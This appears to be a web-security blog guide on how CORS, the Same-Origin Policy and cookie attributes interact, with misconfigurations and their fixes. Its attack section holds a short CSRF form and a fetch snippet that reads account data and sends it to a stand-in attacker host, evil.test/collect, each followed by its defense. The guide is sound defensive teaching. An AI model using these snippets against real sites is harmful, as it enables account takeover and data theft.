thirana
All writing

How CORS and Cookies Work Together: Origins, Credentials, and Common Misconfigurations

How browsers decide what a page may send to another origin and what it may read back, how cookies travel with those requests, and the CORS and cookie misconfigurations that lead to CSRF and data theft - with the fix for each.

· Intermediate· Backend Engineering
  • CORS
  • Cookies
  • CSRF
  • Browser Security
  • Web Security
  • API Design
  • Security

How CORS and Cookies Work Together: Origins, Credentials, and Common Misconfigurations

Parts 1 and 2 explain the browser rules. Parts 3 and 4 explain the server settings. Part 6 shows what goes wrong when those settings are wrong. Each part starts with an "In short" box, and the extra detail is in sections you can open. For how tokens themselves are issued, rotated and revoked, see Session Security in Practice.

The Example

All examples in this guide use the same setup: a shop website and an admin panel that call the same API, a staging copy of the shop, and an attacker's site.

OriginWhat it is
https://shop.example.comThe shop website
https://admin.example.comAn admin panel that calls the same API
https://api.example.comThe API; it sets the session cookie
https://staging.example.comA staging copy of the shop
https://evil.testAn attacker's site that a logged-in shopper happens to open

Part 1 of 7

Origins and sites

In short

  • An origin is scheme + host + port. Two URLs have the same origin only if all three match.
  • A site is scheme + registrable domain, so every subdomain of example.com is the same site.
  • CORS and the Same-Origin Policy compare origins. SameSite cookies compare sites.

An origin is the scheme, host and port of a URL. If the port is left out, it is the scheme's default: 443 for https, 80 for http. A site is the scheme plus the registrable domain, the part of the host a person can register, such as example.com.

The URL https://shop.example.com:443/cart split into parts: https is the scheme, shop.example.com is the host, 443 is the port, and example.com inside the host is the registrable domain. The origin is scheme plus host plus port; the site is scheme plus registrable domain. Below, one dashed boundary marked as the site example.com holds four boxes: shop.example.com, admin.example.com, api.example.com and staging.example.com, labelled four different origins. Outside the boundary is evil.test, another site. CORS compares origins, so it treats the four as different; SameSite compares sites, so it treats them as the same.
Four origins, but one site.
Compared with https://shop.example.comSame originSame siteWhy
https://shop.example.com:443/cartYesYes443 is the default port; the path does not count
http://shop.example.comNoNoDifferent scheme
https://shop.example.com:8443NoYesDifferent port
https://api.example.comNoYesDifferent host, same registrable domain
https://staging.example.comNoYesDifferent host, same registrable domain
https://evil.testNoNoDifferent registrable domain
https://example.com.evil.testNoNoThe registrable domain is evil.test
Background: the Public Suffix List

Browsers cannot tell where the registrable domain starts from the name alone. In shop.example.com it is example.com, but in shop.example.co.uk it is example.co.uk, because anyone can register a name under co.uk.

They use the Public Suffix List, a shared list of suffixes under which anyone can register a name. It includes country suffixes such as co.uk, and also hosting domains such as github.io, so alice.github.io and bob.github.io are different sites. Without that entry, every GitHub Pages site would share cookies with every other one.

Detail: the Origin header, and the null origin

The browser tells the server which origin a request came from in the Origin request header:

Origin: https://shop.example.com

Browsers send it on every cross-origin request made by script, and on every request that is not a GET or HEAD, including plain form posts. Page code cannot set or change it. A command-line tool can send any value it likes, so the header proves where a request came from only when the client is a real browser.

In some cases the browser sends the literal value null instead of an origin:

  • a page in a sandboxed <iframe> (without allow-same-origin)
  • a page opened from a file:// path or a data: URL
  • some requests that followed a redirect to another origin

Any page can create the first case, which is why Part 6 treats allowing null as close to allowing everyone.

Part 2 of 7

The Same-Origin Policy

In short

  • The Same-Origin Policy stops a page's script from reading responses from another origin.
  • It does not stop a page from sending requests to another origin. The server receives them and runs the handler.
  • Only browsers apply it. Postman, curl and server-to-server calls are not affected.

Say a shopper is logged in to their bank in one tab and opens an unrelated site in another. If browsers did not have the Same-Origin Policy, that site's script could call fetch("https://bank.example/accounts"), and the browser would attach the bank's cookie and hand the response, the account list, to the unrelated site. The policy stops this: a page can only read responses from its own origin.

The browser does this on its own. The bank's server does not need to set anything.

The policy only blocks reading. Most other cross-origin traffic is allowed:

What a page on one origin does to another originAllowedNotes
Link to it, redirect to it, or submit a form to itYesThe request is sent with the target's cookies, if their SameSite allows
Embed its images, scripts, styles, or framesYesThe page can show them but cannot read the bytes
Send a request with fetch or XMLHttpRequestYesThe request is sent; see the next row
Read the response of that requestNoUnless the other origin allows it with CORS
Read the DOM, storage or cookies of a frame from that originNo
Inside the shopper's browser, a page on evil.test runs a script that sends POST /account/email to api.example.com. The request leaves the browser and reaches the API, and the handler runs, so the write happens. The API answers 200 OK with data. The response comes back to the browser, but there is no CORS permission for evil.test, so the browser stops it before the page: the script cannot read the response. The write goes through; only the read is blocked.
The request goes out and the handler runs. The page just cannot read the response.

Normally, the API rejects a request from someone who is not logged in. But the browser adds the shopper's cookie to the request on its own, so the API thinks the shopper sent it and does what it asks. That attack is cross-site request forgery (CSRF), and Part 6 covers it.

Background: why cross-origin writes are allowed

The web had cross-site links, forms and images long before it had scripts that could read responses. A form on one site that posts to another, or a page that shows an image hosted elsewhere, is ordinary web behaviour, and blocking it would break a large part of the web.

Scripts added something new: they could read another site's response with the user's cookies. The policy was added to stop that. Writes were left as they were, so protecting them is the server's job.

Background: why Postman and curl are not affected

The policy protects the user's browser from other pages: their cookies, and the networks their machine can reach. A request from curl has neither. It holds no shopper's cookies, so to act as a shopper it would need that shopper's credentials anyway.

So the policy, and CORS with it, is not a server-side access control. A server cannot rely on it to keep a client out; it only tells browsers what pages may read.

Part 3 of 7

CORS

In short

  • CORS lets a server tell the browser which other origins may read its responses. It relaxes the Same-Origin Policy and adds no protection of its own.
  • Simple requests are sent straight away. Other requests are first checked with a preflight OPTIONS request.
  • To send cookies, the frontend must ask for them, and the server must allow them. To allow them, the server names the exact origin and sends Access-Control-Allow-Credentials: true.

Why Modern Apps Need It

The shop and the API are different origins. Under the Same-Origin Policy alone, the shop's script could send requests to the API but could never read a product list or an order back. Cross-Origin Resource Sharing (CORS) is how the API says "the shop may read my responses".

In the example, the API needs to decide four things:

  1. Which origins may read responses: the shop and the admin panel.
  2. Whether credentials are allowed: yes, because the session is a cookie.
  3. Which methods cross-origin calls may use: GET, POST, PUT, DELETE.
  4. Which request headers they may send: Content-Type and Authorization.

Simple and Preflighted Requests

The browser handles a cross-origin request from script in one of two ways:

KindWhenWhat the browser does
SimpleGET, HEAD or POST, only basic headers, and a Content-Type of text/plain, application/x-www-form-urlencoded or multipart/form-data - the requests a plain HTML form could already sendSends it at once, then checks the response headers before handing the response to script
PreflightedAnything else: PUT, PATCH, DELETE, a JSON body, or a custom header such as AuthorizationSends an OPTIONS request first, and sends the real request only if the answer allows it
Two lanes, the browser and api.example.com. The shop's script calls fetch with PUT /orders/42, a JSON body and credentials include. Step 1, the browser sends a preflight: OPTIONS /orders/42 with Origin https://shop.example.com, Access-Control-Request-Method PUT and Access-Control-Request-Headers content-type. Step 2, the API allows it: 204 No Content with Allow-Origin https://shop.example.com, Allow-Methods GET, POST, PUT, DELETE, Allow-Headers Content-Type and Allow-Credentials true. The browser checks that PUT and content-type are allowed. Step 3, it sends the real PUT /orders/42 with the cookie. Step 4, the API answers 200 OK with Allow-Origin and Allow-Credentials, and the browser hands the response to the script.
The browser asks first. It sends the real request only if the API allows it.

The Response Headers

HeaderIn which responseWhat it tells the browser
Access-Control-Allow-OriginPreflight and realWhich origin may read this response
Access-Control-Allow-CredentialsPreflight and realWhether a response to a request with credentials may be read
Access-Control-Allow-MethodsPreflightWhich methods the real request may use
Access-Control-Allow-HeadersPreflightWhich request headers the real request may send
Access-Control-Max-AgePreflightHow many seconds the browser may reuse this preflight answer
Access-Control-Expose-HeadersRealWhich extra response headers script may read
Vary: OriginRealNot a CORS header: tells caches the response depends on Origin

A preflight never carries cookies, so the API must answer it without requiring a login.

Detail: Max-Age and Expose-Headers

Access-Control-Max-Age sets how long the browser reuses a preflight answer for the same URL, method and headers. Without it, browsers reuse it for only 5 seconds, and every non-simple call costs an extra round trip. Browsers cap the value: Chrome at 2 hours, Firefox at 24 hours. A value of a few minutes to two hours is common.

Access-Control-Expose-Headers widens what script can read from a response. By default, script can read only a few basic headers (Cache-Control, Content-Language, Content-Length, Content-Type, Expires, Last-Modified, Pragma). A header such as X-Request-Id or Retry-After must be listed here, or response.headers.get() returns null for it.

On a credentialed response, * is not a wildcard in Allow-Methods, Allow-Headers or Expose-Headers either; list the values.

Access-Control-Allow-Origin

This is the main header. If its value matches the page's origin, the browser lets the page read the response; if it is missing or different, the browser blocks the read.

ValueMeaningUse it for
https://shop.example.comOnly this origin may read the responseAny API with logged-in users
*Any origin may read it, but only on requests without credentialsPublic data, such as an open API or public fonts
nullPages whose origin is null may read itNothing - any page can get a null origin

The header holds one origin, so the API checks the request's Origin against its own list and sends back the one that matches.

Detail: why a varying Allow-Origin needs Vary: Origin

Because the API sends a different Access-Control-Allow-Origin depending on who asks, the same URL now has different responses. A cache or CDN in front of the API does not know that unless it is told:

Access-Control-Allow-Origin: https://shop.example.com
Vary: Origin

Vary: Origin tells every cache to store a separate copy per Origin value. Without it, a response cached for the shop can be served to the admin panel, and the panel's call fails with a CORS error that is hard to reproduce. Worse, a response cached for one allowed origin can be served to a request from another origin. Send Vary: Origin on every response whose CORS headers depend on the request, including responses to origins that were not allowed.

Access-Control-Allow-Credentials

By default, a cross-origin request from script carries no cookies. To send the shopper's session cookie, the frontend must ask for it and the API must allow it:

// Frontend (with axios: { withCredentials: true })
fetch("https://api.example.com/orders", { credentials: "include" });
 
// API response headers
// Access-Control-Allow-Origin: https://shop.example.com
// Access-Control-Allow-Credentials: true
Frontend asks for cookies to be sent?API answersResult
NoAnythingNo cookie is sent; the API sees an anonymous caller
YesExact origin + Allow-Credentials: trueThe page can read the response
YesNo Allow-CredentialsBlocked
YesAllow-Origin: *Blocked

The last row is why an API with a cookie session needs a real allowlist: it cannot allow every origin and use cookies at the same time.

Detail: what counts as a credential, and why a Bearer token does not
CredentialCovered by Allow-CredentialsHow it is sent
CookiesYesBy the browser, automatically
HTTP authentication the browser manages (Basic, Digest)YesBy the browser, after a login prompt
TLS client certificatesYesBy the browser, during the TLS handshake
Authorization: Bearer ... set by your codeNoOnly when your code adds it
A token inside a JSON response bodyNoIt is data, not a credential the browser handles

An Authorization header that your code sets is an ordinary request header. It does not need Allow-Credentials, but it makes the request preflighted, so the API must list it:

Access-Control-Allow-Headers: Authorization, Content-Type

Unlike a cookie, the browser never adds it by itself. A page on evil.test cannot make the browser send the shopper's Bearer token, because the token is held by the shop's code, not by the browser. Part 5 compares the two.

The Example, End to End

The API keeps its allowlist in code and compares origins as exact strings:

Here are three requests, and what the browser does with each:

Gotcha: your code cannot see why a CORS check failed

When the browser blocks a response, fetch rejects with a generic TypeError: Failed to fetch. The reason, such as a missing header or a mismatched origin, is shown only in the browser console, never to the code, so the page cannot tell a CORS failure from a network failure. Meanwhile the API's logs show a normal 200. When a call works in Postman but fails in the browser, read the console and compare the response headers with this part.

Part 4 of 7

Cookies across origins

In short

  • A cookie belongs to the host that set it, and the browser sends it on every request to that host that the cookie's attributes allow.
  • SameSite decides whether a cookie goes on requests that another site started. It compares sites, so it does not separate subdomains of the same domain.
  • For a session cookie: HttpOnly, Secure, SameSite=Strict or Lax, and no Domain unless subdomains really need it.

The API sets the session cookie in a response header:

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

From then on, the browser attaches it to requests to api.example.com that its attributes allow. A cross-origin call from the shop also needs credentials: "include" from Part 3, or the browser leaves the cookie out.

AttributeWhat it doesFor a session cookie
HttpOnlyScript cannot read the cookie through document.cookieAlways
SecureSent only over HTTPSAlways
SameSiteWhether the cookie goes on requests started by another site (see below)Strict or Lax
DomainWithout it, the cookie goes only to the exact host that set it. With Domain=example.com, it goes to every subdomainLeave it out
PathSends the cookie only on requests under that path/, or the routes that need it
Max-Age / ExpiresWithout them, the cookie is deleted when the browser closesMatch the session's lifetime

HttpOnly keeps a script from reading the cookie, which stops a cross-site scripting (XSS) bug from stealing it. It does not stop that script from using it: injected code on the shop can still call the API, and the browser still attaches the cookie.

SameSite

SameSite looks at the site that started the request and the site of the target. If they differ, the request is cross-site, and the attribute decides whether the cookie goes with it:

Request to api.example.comStrictLaxNone
fetch from shop.example.com (same site)SentSentSent
fetch from staging.example.com (same site)SentSentSent
Link from evil.test, opened in the tab (top-level GET)Not sentSentSent
Form POST from evil.testNot sentNot sentSent
fetch, <img> or <iframe> from evil.testNot sentNot sentSent

SameSite=None must be combined with Secure, or the browser rejects the cookie.

Inside one dashed boundary for the site example.com are shop.example.com, staging.example.com and api.example.com, whose session cookie has SameSite=Strict. Requests from the shop and from staging to the API both carry the cookie. Outside the boundary, evil.test sends two kinds of request to the API: a link opened in the tab, which carries the cookie with Lax but not with Strict, and a form POST, fetch or image, which never carries it. SameSite stops other sites; it does not stop other subdomains of the same site.
The first two rows of the table: every subdomain of the site gets the cookie, even with Strict.

Keeping staging and other subdomains away from the API takes the CORS allowlist and an Origin check on the server, covered in Part 6.

Edge case: when SameSite is missing

Chrome and other Chromium browsers treat a cookie without SameSite as Lax. For two minutes after such a cookie is set, Chrome still sends it on cross-site top-level POST requests, so that some older login flows keep working. Firefox and Safari do not apply Lax by default.

Because the default depends on the browser, set SameSite on every cookie explicitly.

Detail: cookie prefixes, __Host- and __Secure-

A cookie's name can carry a prefix the browser enforces:

PrefixThe browser accepts the cookie only if
__Secure-It has Secure and was set over HTTPS
__Host-It has Secure, was set over HTTPS, has no Domain, and has Path=/

__Host- is the stronger one. A cookie with that name can only have been set by the exact host itself, never by a sibling subdomain with Domain=example.com. Part 6 explains why that matters.

__Host- requires Path=/, so a cookie limited to the auth routes, such as a refresh token with Path=/auth, cannot use it. __Secure- still applies to that cookie.

Detail: third-party cookie blocking

If the API were on a different site from the shop, for example api.example-cloud.net, its cookie would be a third-party cookie when the shop calls it: the page belongs to one site, the cookie to another. Safari blocks third-party cookies by default, Firefox keeps them in a separate store per top-level site, and Chrome lets users block them.

The cookie would then be missing in some browsers even with a perfect CORS setup, and it would need SameSite=None. Putting the API on a subdomain of the frontend's domain makes the cookie first-party and avoids both problems.

Gotcha: Path is not a security boundary

Path controls which requests carry a cookie. It does not hide the cookie from other pages on the same origin: a page at /blog can open /account in a hidden frame and read the cookie through it, if the cookie is not HttpOnly. Use Path to keep a cookie off requests that do not need it, not to protect it from the rest of the origin.

Part 5 of 7

Where tokens fit

In short

  • A cookie is sent automatically, so it needs CSRF defenses. A header token is sent only by your code, so it has no CSRF risk but has to be kept away from XSS.
  • A common setup: a short-lived access token in memory, sent as a header, and a refresh token in an HttpOnly cookie limited to the auth routes.

Where a browser app keeps a token decides which attacks it is open to:

Where the token is keptSent automaticallyReadable by XSSCSRF riskCORS needs
Memory, sent as a headerNoHarder; it is not storedNoAuthorization in Allow-Headers
localStorage or sessionStorage, sent as a headerNoYesNoAuthorization in Allow-Headers
HttpOnly cookieYesNoYesExact origin and credentials
Cookie without HttpOnlyYesYesYesExact origin and credentials

Every option has a risk. A cookie the browser sends needs the defenses in Part 6. A token your code sends needs a page with no injected script.

The Calls in a Token-Based Session

A common setup uses both. The access token stays in memory, and your code sends it as a header. The refresh token is in an HttpOnly cookie that only goes to the auth routes (Path=/auth). This is what each call sends:

CallYour code sendsThe browser addsThe API sends back
LoginEmail and password, with credentials: "include"NothingAccess token in the body; refresh token in Set-Cookie
API callAuthorization: Bearer ...NothingThe data
RefreshAn empty POST, with credentials: "include"Refresh cookieNew access token in the body; new refresh token in Set-Cookie
LogoutA POST, with credentials: "include"Refresh cookieA Set-Cookie that clears the cookie
Three lanes: your code, the browser, and api.example.com, with four calls in order. 1, Login: your code sends the email and password, the browser adds nothing, and the request goes to POST /auth/login. The API answers 200 with a Set-Cookie; the browser stores the cookie and your code gets the access token. 2, API call: your code adds the Bearer token, the browser adds nothing, and the request goes to GET /orders. The API answers 200 with the data. 3, Refresh, when the access token has expired: the browser adds the cookie to POST /auth/refresh. The API answers 200 with a Set-Cookie; the browser stores the new cookie and your code gets a new access token. 4, Logout: the browser adds the cookie to POST /auth/logout. The API answers 200 with a Set-Cookie, the browser deletes the cookie, and the user is logged out. Your code adds the access token; only the browser can add the refresh cookie.
The same four calls in order: the access token comes from your code, the refresh cookie from the browser.

Only login, refresh and logout use the cookie, so only those three need the exact origin and Allow-Credentials: true. The API call needs the exact origin and Authorization in Allow-Headers. Without credentials: "include" on the login call, the browser ignores the Set-Cookie and the refresh token is never stored.

Session Security in Practice covers how the two tokens are issued, rotated and revoked.

Part 6 of 7

Misconfigurations and attacks

In short

  • Most CORS bugs come from building Access-Control-Allow-Origin from the request instead of from an exact list.
  • CSRF works because browsers attach cookies to requests that other sites start. SameSite, an Origin check and CSRF tokens close it.
  • Anything on the same site, such as a staging app or a forgotten subdomain, gets past SameSite.

Common Misconfigurations

ConfigurationWhat goes wrongFix
Reflecting any Origin back, with credentials onEvery site can read logged-in users' responsesExact-match allowlist
Checking origins with startsWith, endsWith, includes or a loose regexhttps://example.com.evil.test passes a prefix check; https://evil-example.com passes endsWith("example.com"); an unescaped . in a regex matches any characterCompare whole strings against a fixed list
Allowing nullAny page can send Origin: null from a sandboxed iframeNever list null
Trusting every subdomain (*.example.com)One XSS bug or one taken-over subdomain can read the API as any userList the subdomains that need access
Allowing http:// originsA network attacker can serve script on the plain-HTTP originHTTPS origins only
Staging, preview or localhost origins in the production listA less protected environment can read production dataOne list per environment, checked at release
No Vary: Origin on a response whose Allow-Origin variesCaches serve one origin's response to anotherAlways send Vary: Origin
Access-Control-Allow-Origin: * on an internal API with no loginAny page an employee opens can read it, because their browser is inside the networkRequire authentication, or allow only internal origins
SameSite=None with no other CSRF defenseEvery site can send requests that carry the cookieUse Strict or Lax, or add CSRF tokens
Treating CORS as protection for routes that change dataSimple requests reach the handler before any CORS checkCheck Origin on the server, or require a preflight

Attacks

A logged-in shopper opens a page on evil.test. The page holds a hidden form that sends POST /account/email with email=attacker@evil.test, submitted by script. The browser adds the session cookie, and api.example.com sees a valid session and changes the email. Under each step is a point where it could have been stopped: a CSRF token, which the forged form cannot know; SameSite=Lax or Strict, so the browser leaves the cookie off; and an Origin check, so the API rejects Origin https://evil.test. The attacker never reads the response, and does not need to.
CSRF: the browser sends the cookie, so the API sees the shopper. Each marked point could stop it.
Attack: cross-site request forgery (CSRF)

How it works. A logged-in shopper opens a page on evil.test. The page submits a form, or calls fetch without reading the reply, to a route on the API that changes something. The browser attaches the session cookie, so the API sees a valid session and does what was asked. The attacker never needs to read the response.

Example.

<form action="https://api.example.com/account/email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.test" />
</form>
<script>
  document.forms[0].submit();
</script>

This is a simple request, so no preflight stops it. A JSON API is not safe by default either: a fetch with Content-Type: text/plain and a JSON body is still a simple request, and some servers parse any body as JSON whatever its Content-Type.

Defense. SameSite=Strict or Lax keeps the cookie off the request. An Origin check rejects it. A CSRF token, which the attacker's page cannot know, makes the forged form fail. The API should also reject a body whose Content-Type is not the one it expects.

Three lanes: a page on evil.test, the browser, and api.example.com. The page calls fetch with credentials. The browser sends GET /account with Origin https://evil.test and the session cookie. The API echoes the Origin back: 200 OK with the account data, Allow-Origin https://evil.test and Allow-Credentials true. The origin matches, so the browser allows the read and the script has the data. The script then posts it to evil.test/collect, and the attacker has the shopper's data. The fix: compare Origin with an exact list, and never echo it back.
Data theft: an API that echoes any Origin tells the browser that evil.test may read the response.
Attack: reading private data through a loose CORS setup

How it works. The API copies the request's Origin into Access-Control-Allow-Origin and allows credentials, so it names whichever site asks, as in the diagram above.

Example.

const res = await fetch("https://api.example.com/account", {
  credentials: "include",
});
await fetch("https://evil.test/collect", {
  method: "POST",
  body: await res.text(),
});

For this to work, the cookie must reach the API, so it needs SameSite=None, or the attacker needs a page on the same site (next attack). The same result follows from a weak origin check, an allowed null, or a trusted subdomain the attacker controls.

Defense. An exact-match allowlist. With it, the API never names evil.test, and the browser blocks the read.

Attack: a sibling subdomain

How it works. The attacker finds a weak point on the same site: an XSS bug on a marketing subdomain, a staging app with weaker controls, or a taken-over subdomain - a DNS record that still points to a hosting service the company no longer uses, which the attacker then claims. A page there is inside the site boundary from Part 4, so SameSite does not stop its requests. From there the attacker can:

  • send requests that carry the session cookie, even with SameSite=Strict
  • read responses, if the CORS allowlist trusts all subdomains
  • set a cookie with Domain=example.com and the same name as the session cookie, which the browser then sends to the API alongside the real one. The API may read the attacker's cookie, logging the shopper in as the attacker or breaking their session.

Defense. List exact origins, not *.example.com. Check Origin on routes that change data. Use the __Host- prefix where the cookie's path allows it, so a sibling cannot set a cookie with that name. Remove DNS records for services that are no longer used.

Attack: login CSRF

How it works. Instead of acting in the victim's account, the attacker's page submits the site's login form with the attacker's username and password. The victim is now logged in to the attacker's account without noticing. Anything they then enter, such as a card or an address, is saved where the attacker can see it.

Defense. The same as for CSRF: an Origin check or a CSRF token on the login route as well, which is often left out because the user is not logged in yet.

Defenses

DefenseWhat it stopsNotes
Exact-match origin allowlist, one per environmentData theft through CORSThe most important CORS setting
SameSite=Strict or Lax on session cookiesCSRF from other sitesDoes not stop same-site subdomains
Origin check on routes that change dataCSRF, including from same-site subdomainsRun it before the handler. Reject a cookie request with no Origin where browsers always send one
CSRF tokenCSRF when cookies must go cross-site (SameSite=None)A random value the page sends in a header or form field; the server compares it with the session
Fetch Metadata (Sec-Fetch-Site)Cross-site requests in generalThe browser sends same-origin, same-site, cross-site or none; reject cross-site on private routes
Require a JSON Content-Type or a custom headerSimple-request CSRFForces a preflight, which a disallowed origin cannot pass
HttpOnly, Secure and __Host- on cookiesCookie theft by XSS, over HTTP, and by sibling subdomains__Host- needs Path=/

None of these is enough on its own. SameSite misses subdomains, an Origin check misses non-browser clients (which have no victim's cookie anyway), and CORS misses simple requests. Use them together.

Part 7 of 7

Checklist

Every setting from this guide, with the recommended value and the reason. CORS header names are shortened: each one starts with Access-Control-.

SettingRecommendedWhy
Allow-OriginOne exact origin, taken from a fixed listPattern checks and reflection let other sites read responses
Allowlist contentsHTTPS origins only; no null; nothing from other environmentsEach extra entry is another place an attacker can start from
Allow-Credentialstrue only if the API uses cookiesWithout cookies, the API does not need it
Allow-Methods, Allow-HeadersOnly what the frontend usesA short list is easier to review
Max-AgeA few minutes to 2 hoursSaves a preflight round trip on repeated calls
Vary: OriginOn every response whose CORS headers depend on the requestStops caches mixing up responses for different origins
Session cookieHttpOnly; Secure; SameSite=Strict or Lax; no DomainKeeps it from script, plain HTTP, other sites and subdomains
Cookie name__Host- prefix where Path=/Sibling subdomains cannot set a cookie with that name
Routes that change dataCheck Origin before the handler; consider Sec-Fetch-SiteCORS does not stop simple requests, and SameSite does not stop subdomains
Cross-site cookies (SameSite=None)Avoid; if required, add CSRF tokensEvery site can make the browser send them
Request bodyReject unexpected Content-Type valuesStops JSON routes from accepting form-style CSRF